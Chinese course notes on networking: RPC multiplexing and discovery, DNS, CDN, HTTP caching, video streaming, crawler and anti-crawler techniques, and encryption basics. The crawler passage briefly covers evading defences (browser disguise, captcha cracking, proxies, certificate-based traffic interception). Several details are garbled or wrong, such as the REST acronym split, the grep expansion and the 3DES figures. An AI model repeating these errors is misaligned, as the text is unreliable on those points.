线程是执行程序的最小单位。I/O 多路复用时,会用单个线程处理大量的 I/O。还有一种执行程序的模型,叫协作程,协程是轻量级的线程。操作系统将执行资源分配给了线程,然后再调度线程运行。如果要实现协程,就要利用分配给线程的执行资源,在这之上再创建更小的执行单位。协程不归操作系统调度,协程共享线程的执行资源。
而 I/O 多路复用的意义,是减少线程间的切换成本。因此从设计上,只要是用单个线程处理大量 I/O 工作,线程和协程是一样的,并无区别。如果是单线程处理大量 I/O,使用协程也是依托协程对应线程执行能力。
假设我们实现了一个rpc对象,其中的invoke方法可以实现远程调用。下面这段伪代码在调用远程的greetings方法(RPC 调用),并向远程方法传递参数arg1``arg2,然后再接收到远程的返回值。
var result = rpc.invoke("greetings", arg1, arg2, ...)
这段程序将本地看作 一个 RPC 的客户端,将远程看作一个 RPC 的服务端。如下图所示:
RPC 提供的是远程方法的调用,但本质上是数据的传递,传递数据有一个最基本的问题要处理,就是提升吞吐量(单位时间传递的数据量)。如果为每个远程调用(请求)建立一个连接,就会造成资源的浪费,因此通常我们会考虑多个请求复用一个连接,叫作多路复用。
利用一个连接顺序发送 A、B、C、D 将多个请求放入一个连接的方式,节省了多次握手、挥手的时间,但是由于 ABCD 不是真的并行发送,而是顺序发送,当其中某个请求的体积较大时,容易阻塞其他请求。比如下图这种情况
在 A 较大的时候,B,C,D 就只能等 A 完全传送完成才能发生传送。这样的模型对于 RPC 请求/响应大小不平均的网络不太友好,体积小的请求/响应可能会因为一些大体积的请求/响应而延迟。
因此还有另一种常见的多路复用方案,就是将 A、B、C、D 切片一起传输,如下图所示:
上图中,我们用不同颜色代表不同的传输任务。采用顺序传输方案将 A、B、C、D 用一个连接传输节省了握手、挥手的成本。切片传输的方案在这之上,将数据切片可以保证大、小任务并行,不会因为大任务阻塞小任务。
另外还有一个需要考虑的点,是单个 TCP 连接的极限传输速度受到窗口大小、缓冲区等因素的制约,不一定可以用满网络资源。如果传输量特别大的时候,有可能需要考虑提供多个连接,每个连接再去考虑多路复用的情况。
远程调用一个函数,命名空间+类名+方法名是一个比较好的选择,简而言之,每个可以远程调用的方法就是一个字符串。
比如远程调用一个支付服务对象 PayService 的 pay 方法,命名空间可能是 trade.payment,对象名称是 PayService,方法名称是 pay。组合起来可以是一个完整的字符串,例如用 # 分割:trade.payment#PayService#pay。
在进行远程调用的时候,给远程方法命名是调用约定的一部分。我们通过调用命名空间下完整的名称调用远程方法。在面向对象的语言中,还有一种常见的做法是先不具体指定调用的方法,而是先创造一个远程对象的实例。比如上面例子中我们先通过 RPC 框架构造一个 PayService 对象的实例。这里会用到一些特别的编程技巧,比如代理设计模式、动态接口生成等。
过归根结底,我们调用的本质就是字符串名称。而实现这个调用,你需要知道两件事情:
IP 是多少,也就是方法在哪台机器上调用;
端口是多少,也就是哪个服务提供这个调用。
调用的时候,我们需要根据字符串(命名)去获取 IP 和端口(机器和服务)。
在调用过程中,我们需要的是一个注册表,存储了字符串和 IP + 端口的对应关系。
当我们上线一个服务的时候,就在 Redis 的某个hash对象中存储它和它对应的 IP 地址 + 端口列表。为什么是存一个列表?因为一个服务可能由多个机器提供。
通常我们将写这个hash对象的过程,也就是服务被记录的过程称作注册。我们远程调用一个 RPC 服务的时候,调用端提供的是 RPC 服务的名称(例如:命名空间+对象+方法),根据名称查找到提供服务的 IP + 端口清单并指定某个 IP + 端口(提供服务)的过程称作发现。
在实际的设计中,要考虑的因素会更多。
比如基于 Redis 的实现,如果所有 RPC 调用都需要去 Redis 查询,会造成负责发现的中间件压力较大。实际的操作过程中,往往会增加缓存。也就是 RPC 调用者会缓存上一次调用的 IP + 端口。但是这样设计,缓存又可能会和注册表之间产生数据不一致的问题。这个时候,可以考虑由分布式共识服务比如 ZooKeeper 提供订阅,让 RPC 调用者订阅到服务地址的变更,及时更新自己的缓存。
设计注册和发现两个功能的最大的价值是让客户端不再需要关注服务的部署细节,这样方便在全局动态调整服务的部署策略。
在设计 RPC 框架的时候,负载均衡器的设计往往需要和 RPC 框架一起考虑。
因为 RPC 框架提供了注册、发现的能力,提供发现能力的模块本身就是一个负载均衡器。
因此负载均衡可以看作发现模块的一个子组件。请求到达 RPC 的网关(或某个路由程序)后,发现组件会提供服务对应的所有实例(IP + 端口),然后负载均衡算法会指定其中一个响应这个请求。
注册表和 RPC 调用者之间必然存在不一致现象,而且注册表的更新本身也可能滞后。比如确认一个服务有没有崩溃,可能需要一个心跳程序持续请求这个服务,因此 RPC 的调用者如果调用到一个不存在的服务,或者调用到一个发生崩溃的服务,需要自己重新去发现组件申请新的服务实例(地址 + 端口)。
如果遇到临时访问量剧增,需要扩容的场景。这个时候只需要上线更多的容器,并且去注册即可。当然这要求部署模块和注册模块之间有较高的协同,这块可以用自动化脚本衔接。
Dubbo 是一个开源、轻量级的 Java 服务框架。下图是它的架构:
Dubbo 的架构是容器化的,上 图中的 Container(容器)中是服务,服务的提供方被称作 Provider。比如要提供一个订单服务,那么服务会在容器中部署启动,启动后的实例就是 Provider。
Provider 在启动过程中,会在 Dubbo 中注册自己。负责注册和发现的模块,称为注册处(Registry)。注册处和学员报道时学校的注册处很像,每个新加入的服务都需要主动注册。这里需要注意,注册处对网络中的信息是信任的,如果 Provider 被攻击欺骗注册处会产生安全问题。Registry 需要实现分布式共识,具体可以使用 ZooKeeper实现(参考 Paxos 和 Raft 算法)。
服务的使用方被称为 Consumer,Consumer 会订阅注册表的变化(也就是 Provider 的变化)。相当于 Consumer 本地维护了一份和注册处一致的 Provider 清单。当调用服务的时候,Consumer 会使用本地清单去查询 Provider 信息,进行远程调用。
除了 Registry、Consumer、Provider 之外,Dubbo 还有一个 Monitor 模块。这个模块负责统计服务器的调用情况。
【解析】:CNAME 是一种 DNS 记录,它的作用是将一个域名映射到另一个域名。域名解析的时候,如果看到 CNAME 记录,则会从映射目标重新开始查询。
Scheme 部分代表协议,不只有 https,还有 ftp、ssh 等。不同协议代表着不同类型的应用在提供资源。
Host 部分代表站点,我们今天介绍的 DNS 主要作用就是根据 Host 查找 IP 地址。
Port 是端口,代表提供服务的应用。
Path 是路径,代表资源在服务中的路径。
Query 是查询条件,代表需要的是资源中的某一个部分。
Fragment 是二级查询条件,通常不在服务端响应,而是用于前端展示定位内容。
总的来说,URL 是一种树状的设计, Host 代表主机(对应的 IP 地址由 DNS 服务提供);Port 代表应用;Path 代表资源在应用中的路径;Query 代表对资源的查询条件。通过这种设计,互联网中万亿级别的资源都可以得到有效区分。
DNS(Domain Name System,域名系统)是一个将域名和 IP 地址相互映射的分布式服务。比如说你想知道 lagou.com 的 IP 地址,就需要通过 DNS 服务获得。这样凡是访问 lagou 的用户,就不需要在浏览器中输入 lagou 的 IP 地址,而是通过一个方便人们记忆的域名。
DNS 本身是一个出色的分布式架构。
位于最顶层的是根域名服务器(Root Name Server)。人们在全世界范围内搭建了多台根域名服务器,2016 年的统计数据中,全世界目前有 13 台 IPv4 根服务器,25 台 IPv6 根服务器。
因为流量、防止单点故障、平衡地理分布等问题,根域名服务器只是一个目录,并不提供具体的数据。
在域名的世界中,通过分级域名的策略建立索引。伴随着域名的分级策略,实际上是域名数据库的拆分。通过域名的分级,可以将数据库划分成一个个区域。
平时我们看到的.com.cn
.net等,称为顶级域名。比如对于 www.laogu.com 这个网址来说,com是顶级域名,lagou是二级域名,www是三级域名。域名分级当然是为了建立目录和索引,并对数据存储进行分区。
从上图中可以看到,DNS 的存储设计是一个树状结构。叶子节点中才存放真实的映射关系,中间节点都是目录。存储分成 3 层:
顶部第一级是根 DNS 存储,存储的是顶级域的目录,被称作根 DNS 服务器;
第二级是顶级域存储,存储的是二级域的目录,被称作顶级域 DNS 服务器(Top Level DNS,TLD);
最后一级是叶子节点,存储的是具体的 DNS 记录,也被称作权威 DNS 服务器。
当用户在浏览器中输入一个网址,就会触发 DNS 查询。这个时候在上述的 3 个层级中,还会增加本地 DNS 服务器层级。本地 DNS 服务器包括用户自己路由器中的 DNS 缓存、小区的 DNS 服务器、ISP 的 DNS 服务器等。
查询过程如下图所示:
结合上图展示的DNS 查询过程,我们再来具体介绍一下 。
在上述 8 个过程全部结束后,客户端通过 DNS 记录中的 IP 地址,可以找到请求服务的主机。在本文的例子中,客户端最终可以找到拉勾网对应的 IP 地址,从而获得 Web 服务。
在上面的例子当中,每一步都有缓存的设计。浏览器会缓存 DNS,此外,操作系统、路由器、本地 DNS 服务器也会……因此,绝大多数情况,请求不会到达根 DNS 服务器。
以拉勾为例,如果在某个时刻同一个区域内有一个用户触发过上述 1~8 的过程,另一个同区域的用户就可以在本地 DNS 服务器中获得 DNS 记录,而不需要再走到根 DNS 服务器。这种设计,我们称作分级缓存策略。
在分级缓存策略中,每一层都会进行缓存,经过一层层的缓存,最终命中根 DNS 服务、顶级 DNS 服务器以及权威 DNS 服务的请求少之又少。这样,互联网中庞大流量的 DNS 查询就不需要大量集中的资源去响应。
DNS 记录具体长什么样子:
; 定义www.example.com的ip地址
www.example.com. IN A 139.18.28.5;
IN 代表记录用于互联网,是 Intenet 的缩写
www.example.com 是要解析的域名。A 是记录的类型,A 记录代表着这是一条用于解析 IPv4 地址的记录。从这条记录可知,www.example.com的 IP 地址是 139.18.28.5。;是语句块的结尾,也是注释。
DNS 记录的类型非常多,有 30 多种。其中比较常见的有 A、AAAA、CNAME、MX,以及 NS 等。
; 定义www.example.com的别名
a.example.com. IN CNAME b.example.com.
这条 DNS 记录定义了 a.example.com 是 b.example.com 的别名。用户在浏览器中输入 a.example.com 时候,通过 DNS 查询会知道 a.example.com 是 b.example.com 的别名,因此需要实际 IP 的时候,会去拿 b.example.com 的 A 记录。
前面我们提到,A 记录是域名和 IPv4 地址的映射关系。和 A 记录类似,AAAA 记录则是域名和 IPv6 地址的映射关系。
MX 记录是邮件记录,用来描述邮件服务器的域名。
在工作中,我们经常会发邮件到某个同事的邮箱。比如说,发送一封邮件到 [email protected],那么拉勾网如何知道哪个 IP 地址是邮件服务器呢?
这个时候就可以用到下面这条 MX 记录:
IN MX mail.lagou.com
这样凡是 @lagou 的邮件都会发送到 mail.lagou.com 中,而 mail.lagou.com 的 IP 地址可以通过查询 mail.lagou.com 的 A 记录和 AAAA 记录获得。
NS(Name Server)记录是描述 DNS 服务器网址。从 DNS 的存储结构上说,Name Server 中含有权威 DNS 服务的目录。也就是说,NS 记录指定哪台 Server 是回答 DNS 查询的权威域名服务器。
当一个 DNS 查询看到 NS 记录的时候,会再去 NS 记录配置的 DNS 服务器查询,得到最终的记录。如下面这个例子
a.com. IN NS ns1.a.com.
a.com. IN NS ns2.a.com.
当解析 a.com 地址时,我们看到 a.com 有两个 NS 记录,所以确定最终 a.com 的记录在 ns1.a.com 和 ns2.a.com 上。从设计上看,ns1 和 ns2 是网站 a.com 提供的智能 DNS 服务器,可以提供负载均衡、分布式 Sharding 等服务。比如当一个北京的用户想要访问 a.com 的时候,ns1 看到这是一个北京的 IP 就返回一个离北京最近的机房 IP。
上面代码中 a.com 配置了两个 NS 记录。通常 NS 不会只有一个,这是为了保证高可用,一个挂了另一个还能继续服务。通常数字小的 NS 记录优先级更高,也就是 ns1 会优先于 ns2 响应。
配置了上面的 NS 记录后,如果还配置了 a.com 的 A 记录,那么这个 A 记录会被 NS 记录覆盖。
DNS 工作在互联网协议群的应用层。DNS 实际就是一种资源服务器只是不像 http 协议资源对应的是 文本 图片 或者音视屏. DNS 需要获得的资源是一段 域名 所映射实际 ip 地址的信息. DNS 整体的结构其实跟我们 web 服务器架构几乎一样。
【解析】CDN 回源就是 CDN 节点到源站请求资源,重新设置缓存。通常服务提供方在使用 CDN 的时候,会在自己的某个域名发布静态资源,然后将这个域名交给 CDN。
比如源站在 s.example.com 中发布静态资源,然后在 CDN 管理后台配置了这个源站。在使用 CDN 时,服务提供方会使用另一个域名,比如说 b.example.com。然后配置将 b.example.com 用 CNAME 记录指向 CDN 的智能 DNS。这个时候,如果用户下载b.example.com/a.jpg,CDN 的智能 DNS 会帮用户选择一个最优的 IP 地址(最优的 CDN 节点)响应这次资源的请求。如果这个 CDN 节点没有 a.jpg,CDN 就会到 s.example.com 源站去下载,缓存到 CDN 节点,然后再返回给用户。
CDN 回源有 3 种情况,一种是 CDN 节点没有对应资源时主动到源站获取资源;另一种是缓存失效后,CDN 节点到源站获取资源;还有一种情况是在 CDN 管理后台或者使用开放接口主动刷新触发回源。
正文:
今天使用的电商、直播、社交工具、视频网站中都含有大量的图片、视频、文档等,这些资源需要分发给用户。对于一些体量较大的应用来说,如果把大量资源集中到单一节点进行分发,恐怕很难有某个机房可以支撑得住这么大的流量。例如一个日活在 100W 的小型互联网产品,如果每次请求需要 1M 的数据,那就刚好是近 1TB 数据。对于这样的数据规模而言,完全由单一节点进行分发是不现实的。因此现在互联网应用在分发内容的时候,并不是从自己架设的服务器上直分发内容,而是走一个叫作内容分发网络(Content Dilivery Network)的互联网底层建设。
和域名系统类似,内容分发网络(Content Dilivery Network,CDN)是一个专门用来分发内容的分布式应用。CDN 构建在现有的互联网之上,通过在各地部署数据中心,让不同地域的用户可以就近获取内容。这里的内容通常指的是文件、图片、视频、声音、应用程序安装包等。
它们具有一个显著的特征——无状态,或者说是静态的。这些资源不像订单数据、库存数据等,它们一旦发布,就很少会发生变化。另一个显著的特征,是这些资源往往会被大量的用户需要,因此分发它们的流量成本是较高的。
为什么不能集中提供这些静态资源呢?这和域名系统的 DNS 记录不能集中提供是一个道理,需要考虑到流量、单点故障、延迟等因素。在离用户更近的地理位置提供资源,可以减少延迟。按照地理位置分散地提供资源,也可以降低中心化带来的服务压力。
因此,CDN 的服务商会选择在全球布点,或者在某个国家布点。具体要看 CDN 服务提供商的服务范围。目前国内的阿里云、腾讯云等也在提供 CDN 业务。
总体静态资源的使用路径如下图所示:
当用户请求一个静态资源的时候,首先会触发域名系统的解析。域名系统会将解析的责任交由 CDN 提供商来处理,CDN 的智能 DNS 服务会帮助用户选择离自己距离最近的节点,返回这个节点的 A(或 AAAA)记录。然后客户端会向 CDN 的资源节点发起请求,最终获得资源。
在上面整个过程当中,CDN 的智能 DNS 还充当了负载均衡的作用。如果一个节点压力过大,则可以将流量导向其他的节点。
资源怎么进入内容分发网络。资源的生产者,也是 CDN 的购买者,目的是向用户提供网络服务。那么服务提供者的静态资源如何进入 CDN 呢? 手动上传、用接口推送,还是通过其他别的方式呢?
你可以把 CDN 想象成一个分布式的分级缓存,再加上数据库的两层设计,如下图所示:
缓存层能挡住 99% 的流量,那么实际的数据存储就可以交由源站点完成。
在 CDN 的设计当中,CDN 实际上提供的是数据的缓存。而原始数据,则由服务的提供者提供。举个例子,当用户请求一张拉勾网上的图片,看上去这张图片的网址就是拉勾的一个网址:s0.lgstatic.com。而实际上,如果你用 DIG 命令去查看这个网址,会看到如下图所示的结果:
上面的结果中,拉勾网的静态资源域名s0.lgstatic.com被 CNAME 到了s0.lgstatic.com.wswebpic.com。这说明当用户在请求 s0.lgstatic.com(一个拉勾域名)的资源时,实际请求的 CDN 服务提供商的域名。当用户向 CDN 请求资源的时候,CDN 的智能 DNS 服务就会帮助用户选最优的节点(比如地理上最临近的,或者当前较空闲的)。如果 CDN 资源节点中已经存在了用户拥有的资源,那么就直接返回资源给用户。如果 CDN 中尚未缓存这个资源, 此时 CDN 节点就会向拉勾请求资源。也就是说,拉勾网需要有所有的原始数据,并提供出来可以让 CDN 服务访问。
如下图所示,整个过程是 4 个层级。用户请求静态资源通常用自己的域名(防止跨域和一些安全问题)。为了让用户请求的是自己的网站,而使用的是 CDN 的服务,这里会使用 CNAME 让自己的域名作为 CDN 域名的一个别名。当请求到 CDN 服务的时候,会首先由 CDN 的 DNS 服务帮助用户选择一个最优的节点,这个 DNS 服务还充当了负载均衡的作用。接下来,用户开始向 CDN 节点请求资源。如果这个时候资源已经过期或者还没有在 CDN 节点上,就会从源站读取数据,这个步骤称为CDN 的回源。
另一方面,CDN 上缓存的资源通常也会伴随失效时间的设置,当失效之后同样会触发回源。另一种情况是可以通过开放的 API 或者 CDN 管理后台直接删除缓存(让资源失效),这个操作结束后,同样会触发回源。
总结:
总结一下,CDN 是一种网络应用,作用是分发互联网上的资源。CDN 服务的提供商,会在世界(或国家)范围内设立数据中心,帮助分发资源。用户请求的资源会被 CDN 分发到最临近的节点获取。
CDN 作为一门生意,CDN 的服务商会大批量的从运营商处获取流量,然后再以较高但是可以接受的价格卖给服务提供方。对于中小型互联网公司来说,购买一定的 CDN 流量成本可控,比如 1G 流量在 1 元以内。对于大型的互联网公司,特别是对 CDN 依赖严重的公司,可能还需要自己建设。比如 2021 年抖音每天分发的数据量在 50PB 左右(1PB=1024TB),如此庞大的数据量如果换算成钱是非常高的。按照阿里云的报价,50PB 的价格是 480W 人民币。按照这种体量计算,抖音每天要花 480W 人民币,一年是 17 亿。
所以当你设计一个内容分发的方案时,除了要考虑到其中的技术细节,也要从成本上进行思考,看看能不能从数据压缩、资源格式角度做一些文章。项目中考虑将图片从 jpg 格式替换为 webp 格式,一年节省了 500W 元的 CDN 费用。
智能 DNS 服务
文本传输协议(HyperText Transfer Protocol,HTTP)是目前使用最广泛的应用层协议。在网站、App、开放接口中都可以看到它
网页用的语言后来被称作超文本标记语言(HTML),而在服务器和客户端之间传输网页的时候,伯纳斯·李没有直接使用传输层协议,而是在 TCP 的基础上构造了一个应用层协议,这个就是超文本传输协议 HTTP。
万维网(World Wide Web, WWW)是伯纳斯·李对这一系列发明,包括 Web 服务、HTTP 协议、HTML 语言等一个体系的综合。
那么这里有一个问题,是不是每次发送一个请求,都建立一个 TCP 连接呢?
不能:为了节省握手、挥手的时间。当浏览器发送一个请求到 Web 服务器的时候,Web 服务器内部就设置一个定时器。在一定范围的时间内,如果客户端继续发送请求,那么服务器就会重置定时器。如果在一定范围的时间内,服务器没有收到请求,就会将连接断开。这样既防止浪费握手、挥手的资源,同时又避免一个连接占用时间过长无法回收导致内存使用效率下降。
这个能力可以利用 HTTP 协议头进行配置,比如下面这条请求头:
Keep-Alive: timeout=5s
会告诉 Web 服务器连接的持续时间是 5s,如果 5s 内没有请求,那么连接就会断开。
Keep-Alive 是 HTTP 1.1 版增加的功能,目的是应对越来越复杂的网页资源加载。
同样,当一个网站需要加载的资源较多时,浏览器会尝试并发发送请求(利用多线程技术)。浏览器会限制同时发送并发请求的数量,通常是 6 个,这样做一方面是对用户本地体验的一种保护,防止浏览器抢占太多网络资源;另一方面也是对站点服务的保护,防止瞬时流量过大。
在 HTTP 2.0 之后,增加了多路复用能力。和之前我们讲 RPC 框架时提到的多路复用类似,请求、返回会被拆分成切片,然后混合传输。这样请求、返回之间就不会阻塞。你可以思考,对于一个 TCP 连接,在 HTTP 1.1 的 Keep-Alive 设计中,第二个请求,必须等待第一个请求返回。如果第一个请求阻塞了,那么后续所有的请求都会阻塞。而 HTTP 2.0 的多路复用,将请求返回都切分成小片,这样利用同一个连接,请求相当于并行的发出,互相之间不会有干扰。(自己的问题:如果请求响应有快有慢怎么办)
伴随着 HTTP 发展,也诞生了一些著名的架构,比如 RestFul。在面试中,经常会遇到 RestFul,RestFul 是 3 个单词的合并缩写:
Re(Representational)
st(State)
Ful(Transfer)
这个命名非常有趣,让我联想到 grep 命令的命名,global regular pattern match。这是一种非常高端的命名技巧。
GET /order/123
PUT /order/123
{...订单数据}
上面我们用 PUT 更新订单,如果订单 123 还没有创建,那么这个接口会创建订单。如果 123 已经存在,那么这个接口会更新订单 123 的数据。为什么是这样?因为 PUT 代表幂等,对于一个幂等的接口,请求多少遍最终的状态是一致的,也就是说操作的都是同一笔订单。
POST /order
{...订单数据}
公司用版本号管理某个对外提供的 JS 文件。比如说 libgo.1.2.3.js,就是 libgo 的 1.2.3 版本。其中 1 是主版本,2 是副版本,3 是补丁编号。每次你们有任何改动,都会更新 libgo 版本号。在这种情况下,当浏览器请求了一次 libgo.1.2.3.js 文件之后,还需要再请求一次吗?
浏览器在第一次进行了GET /libgo.1.2.3.js这个操作后,如果后续某个网页还用到了这个文件(libgo.1.2.3.js),我们不再发送第二次请求。这个方案要求浏览器将文件缓存到本地,并且设置这个文件的失效时间(或者永久有效)。这种请求过一次不需要再次发送请求的缓存模式,在 HTTP 协议中称为强制缓存。当一个文件被强制缓存后,下一次请求会直接使用本地版本,而不会真的发出去。
使用强制缓存时要注意,千万别把需要动态更新的数据强制缓存。一个负面例子就是小明把获取用户信息数据的接口设置为强制缓存,导致用户更新了自己的信息后,一直要等到强制缓存失效才能看到这次更新。
HTTP 协议还设计了协商缓存。协商缓存启用后,第一次获取接口数据,会将数据缓存到本地,并存储下数据的摘要。第二次请求时,浏览器检查到本地有缓存,将摘要发送给服务端。服务端会检查服务端数据的摘要和浏览器发送来的是否一致。如果不一致,说明服务端数据发生了更新,服务端会回传全部数据。如果一致,说明数据没有更新,服务端不需要回传数据。
更新了数据后,协商缓存失效,客户端数据可以马上更新。和强制缓存相比,协商缓存的代价是需要多发一次请求。
【解析】一个直播网站通常会有下面 5 个部分组成。
录制端:负责录制直播视频,用流的形式上传。
计算集群:专门负责编码上传的流数据,然后进行压缩、转码、切片等工作。
对象存储:存储原始视频和转码后的视频(相当于 CDN 的源,回源用)。
CDN:将转码后的内容分发到离用户较近的节点,方便用户获取。
直播 App:给用户看直播时使用。
今天我们将所有的数据都抽象成了流,文件的格式也发生了变化。那么如何将一个视频抽象成流呢?其实就是传输一部分即可播放一部分。在实际的操作当中,我们设计了一种类似目录的格式,将音视频数据进行切片,这部分能力利用现有的工具 FFmpeg 就可以轻松做到。在你的机器上装一个 FFmpeg,然后利用这条指令处理一个 MP4 文件,就可以生成很多切片和一个目录文件。
ffmpeg -i input.mp4 -c:v libx264 -c:a aac -strict -2 -f hls output.m3u8
上面将input.mp4切割成HTTP Live Streaming 可以播放的切片(大多数浏览器中的播放器都可以播放)。最终会生成大量的切片文件,比如说每个 256k,以及一个目录文件 output.m3u8。
下图展示的是用 FFmpeg 在我的机器上对 input.mp4 操作生成的文件清单:
m3u8 文件是目录,它记录了每个视频切片文件(ts)对应的视频时间范围。用户播放视频的时候,会先下载 m3u8 文件。当用户调整视频播放滑块选择播放时间时,播放器就根据 m3u8 的内容下载对应的 ts 文件。
视频录制完成后,可能是 MP4 等格式。首先,我们将视频上传到服务器进行编码,产生上面提到的切片文件。切片文件存储到流媒体服务器中,当用户需要的时候,就从流媒体服务器中读取视频目录(上面的 m3u8 文件),然后在各个端播放。进行编码的时候,可以根据不同的清晰度编码多个版本,来应对用户在不同网络环境的情况。
直播技术仍然可以复用上面的这套架构。录制端不断上传视频内容,视频内容编码后流媒体服务器负责分发。如果观看人数较多,可以使用 CDN 回源到流媒体服务器。对于直播,m3u8 文件可以看作一个动态的文件,能够不断产生新的数据。因此直播技术中,可以考虑将获取 m3u8 文件设计成一个接口,不断由播放器请求新的 m3u8 文件。
对于其他音视频网站架构也是类似的,将视频编码后(含切片)然后利用 CDN 分发目录和切片文件,就可以播放了。
因为通常视频文件较大,因此在传输前通常需要压缩。另外,在播放前还需要解码。视频的压缩技术并非普通的文件压缩技术,而是针对视频的特征进行特别处理的压缩技术。
你可以将流畅的视频理解成连续播放的图片,这也是视频呈现的原理,主要依靠的是人类视觉的残留效应。视频的压缩算法也是如此,本质上是对图片的压缩。
因为视频的前一个画面和后一个画面衔接紧密,如果把它们看作两张图片,这两张图片中往往只有部分内容发生了变化。另外,在连续的多张图片中,也会有重复出现的事物,比如说一座桥、一间教室都可能多次出现。因此,视频压缩可以根据这些特性进行抽象。
对视频进行压缩的时候,视频文件格式也和压缩算法息息相关,我们统称为视频的编码。视频需要编码,包括如何描述目录、如何描述切片、如何存储声音,这些都是编码要考虑的。一个完整的解决方案,我们称为一套视频的编码。比如说 H264 就是国际标准化组织在推广的一种编码格式。当然,所有特性的核心是在减少视频体积(网络传输)的基础上,尽可能地提供更高的画质;另一方面就是要尽可能减少中间编码/解码的时间成本(机器资源)。
这里顺带提一个非常重要的概念,就是宏块。
在包括 H264 的很多视频编码技术中,都有一个叫作宏块的概念。宏块,就是将画面分成大小不等的区域。比如说 8x8、16x16 等。
当播放两个连续的画面的时候,你可以理解成两张图片。但是如果基于图片分析,那么播放的就是很多个宏块。在这连续的两帧画面中,并不是所有的宏块都发生了变化。特别是当你看一些教学 PPT 的讲稿时,视频前后两帧的宏块基本没有发生变化。因此往往相同画质、相同时长的教学视频体积会远小于电影视频的体积。
在视频会议、面对面聊天等场景下,我们还需点到点的视频技术。理论上说,这个时候可以复用之前提到的架构。
一个客户端将自己本地录制的视频用二进制上传,在服务端编码然后分发到另一个端。数据在另一个端解码并播放。
这样做的缺点是链路较长,于是在实际操作的过程中如果是 1 对 1 的视频聊天,可以考虑实现点到点的服务。
不过事情并没有那么简单,因为不同的主机可能在不同的私有网络。比如 Host1 在拉勾的办公室,Host2 是某位拉勾的合作伙伴。如下图所示:
像下图这种两个主机都在内网中,都需要 NAT 的场景,其实是无法通信的:
拉勾内网发起连接,对方的 NAT 路由会因为自己内网的机器没有发起过请求而拒绝;反之,如果客户发起请求,会被拉勾的 NAT 拒绝。这种情况类似于多线程中的“死锁”问题,无法解决。这个时候,就需要一台第三方服务器作为 NAT 模块的辅助功能,帮助双方的 NAT 模块设置本地数据,让双方的 NAT 模块都认为对方已经和自己发起过通信。这个解决方案也叫作NAT 穿透(NAT 穿墙)。
WebRTC 实现点到点通信
通常一个网站,会在自己根路径下的 robots.txt 中定义自己网页中哪些数据是可以用来爬取的。
爬虫如果是非法的,往往就需要伪装成浏览器。通常会用到浏览器内核去模拟发出网络请求,比如用 Chromium(Chrome 的开源内核)就可以提供这样的能力。
想要破解验证码只需要获得足够多的验证码图片样本,然后用 tensorflow 分析一下,基本上都可以做到一定的识别率,可以高于 80% 以上。所以现在的网站往往不会使用简单的图片验证码,比如说要拖动一个滑块、选中几张图片、算一道数学题等来增加破解成本。
所以你的网站如果还在使用普通的图形验证码,而你网站被攻克的代价也很高的话,请你务必早点更换验证码——更换成更难破解的,甚至多种验证码的混合。
果要爬取网页数据,后续会用到 HTML 的解析器(Parser),这个在 Github上 可以找到很多的开源实现。如果是爬取的接口数据,通常就是分析 Json。有的网页数据是由 JavaScript 渲染的,这种网页,通常爬虫会模拟浏览器的行为,在页面加载完成几秒之后才开始下载网页内容。
对于黑产的爬虫,还会进行 IP 的反追踪。所谓 IP 的反追踪,就是利用代理,增加追踪的成本。
在反爬虫的时候,第一步我们要先从法律上告诉爬虫哪些页面是不可以爬取的。所以我们要先写好自己的 robots.txt,并放到网站的根目录。
对于高频访问的 IP 要予以关注。当然,仅仅通过 IP 来判断是不可取的。因为有的时候一家公司会共用一个 IP 出口地址。
那么这个时候有一件非常值得做的事情,就是使用设备的指纹。对于一个设备,它的 CPU 数量、CPU 序列号、屏幕的分辨率、手机的厂商等,通常是固定的。这样可以结合 IP 地址做精细去重。这项技术被称为设备指纹,就是利用设备上的信息,生成一个具有唯一性的字符串,因为这种生成算法是非标准化的,因此不同的数据安全团队会有自己的算法。
有了对用户的识别,就可以根据唯一用户设置数据安全策略,比如访问频次、黑名单等。
再介绍一种方法是自己实现字符编码和字体文件,增加爬虫爬取数据的成本。
对于移动端 App 中的数据,如果可以加密传输,也能大大增加爬取成本。因为 App 不是浏览器,想要模拟一个 App 是非常困难的。那么 App 的数据抓取就依赖于 App 数据传输使用的标准协议,比如一个用 HTTPS 协议传输数据的 App,爬虫可以在 App 端安装证书,然后再利用代理实现中间人抓包。但如果数据用自己的协议加密,那么爬虫抓包的同时,还必须能够破解这个加密协议。
【解析】我这里推荐用 selenium+py 解决这个问题。Selenium 是一个用于自动化测试框架。我这里会用到 Selenium 的 WebDriver,这个 WebDriver 支持多款浏览器,比如 Chrome、Safari 等。具体来说,可以用下面的程序引入 selenium 和选择要使用的 WebDriver:
from selenium import webdriver
driver = webdriver.Chrome()
我这里选择了 Chrome,然后我们就可以模拟浏览器发送请求了:
driver.get("https://edu.lagou.com")
在上面过程中,加密方用 1-4-2-5 加密,解密方用相同的密钥解密——解密方知道加密过程是 1425 就可以解密。像这样,双方加密解密都用相同密钥的算法,我们称为对称加密算法。
在实际的操作过程当中,因为都是针对二进制的操作,取补操作可以用异或操作来替代。另外,在其中的某些步骤还可以拿数据和密钥进行位计算,具体不同加密算法实现不同。
数据加密标准(DES)算法在 1976 年被美国国家标准局定为使用标准,后来被广泛传播。目前已经被证明可以被暴力破解
DES 采用的 56 位密钥,每次计算加密 64 位的数据。
因此后续很多组织开始利用 3 次 DES 操作来增加破解成本,具体的做法是用 3 个 56 位的密钥组合成一个 168 位的密钥,对数据进行 3 次 DES 操作,这样做大大增加了暴力破解的成本。但是目前针对 3DES 仍然有一些攻击策略,需要 290 次计算和 288 位内存,虽然有一定概率被攻破,但是成本非常高。
为了应对暴力破解等问题,很多团队选择对称加密算法时开始使用高级加密标准(AES),这个加密法用 128 位密钥,并设计了更难破解的算法。
如果你是一个网站提供服务给用户,你和用户之间如果使用对称加密,那么你需要为每个用户定时生成一个不同的密钥。
对称加密安全吗?如果客户端不慎遗失密钥,让黑客拿到后果是什么?在对称加密中,加密解密用的一个密钥,加密是正向过程,解密是逆向过程。那么有没有更好的方案呢?
可以防止数据被监听、盗用、篡改
当我们开发一个网站,我们的用户之间的通信用非对称加密。用户发送请求时,用户用一把钥匙加密数据,网站用另一把钥匙解密。在这个过程中,网站拥有的钥匙称为私钥,用户拥有的钥匙称为公钥。之所以这样称呼,是因为很多用户可以共用一把公钥,而只有网站才拥有私钥。
我们在 Linux 环境可以用 openssl 创建公私钥对。
下面这行语句就可以生成一个私钥文件:
openssl genrsa -des3 -out privkey.pem 2048
接下来我们可以基于私钥生成公钥:
openssl rsa -in privkey.pem -inform pem -pubout -out pubkey.pem
